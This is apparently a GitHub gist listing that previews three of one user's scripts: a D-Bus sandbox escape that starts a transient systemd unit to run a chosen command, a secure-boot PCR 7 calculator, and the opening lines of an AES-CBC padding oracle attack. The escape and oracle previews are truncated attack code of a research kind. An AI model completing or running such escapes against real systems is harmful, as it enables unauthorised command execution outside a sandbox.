Skip to content

Instantly share code, notes, and snippets.

@virgilhem
virgilhem / exploit-dbus.sh
Created January 22, 2024 05:22
sandbox escape using dbus socket
#!/bin/bash
cmd="${1:-/bin/id -u}"
cmd="${cmd} &> /tmp/output"
caller() {
job_name="transient$(date +%s%N).service"
job_path=$(echo $job_name | sed 's/\./_2e/')
gdbus call --session \
--dest=org.freedesktop.systemd1 \
--object-path=/org/freedesktop/systemd1 \
--method=org.freedesktop.systemd1.Manager.StartTransientUnit \
@virgilhem
virgilhem / compute_pcr7.sh
Created February 7, 2024 10:39
obtain expected PCR 7 value for secure boot
#!/bin/bash
PK=/path/to/PK.esl
KEK=(/path/to/KEK1.esl /path/to/KEK2.esl)
DB=(/path/to/db1.esl /path/to/db2.esl)
hash_expand() {
[ ! -v H ] && H="$(printf '00%.0s' {1..32})"
H="$(printf "${H}$1" | xxd -r -p | sha256sum | awk '{print $1}')"
}
@virgilhem
virgilhem / padding_oracle_attack.py
Created November 15, 2024 17:11
padding oracle attack on AES-CBC with PKCS#7 padding
import argparse
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
def debug_print(level, *args, **kwargs):
if debug_level >= level:
print(*args, **kwargs)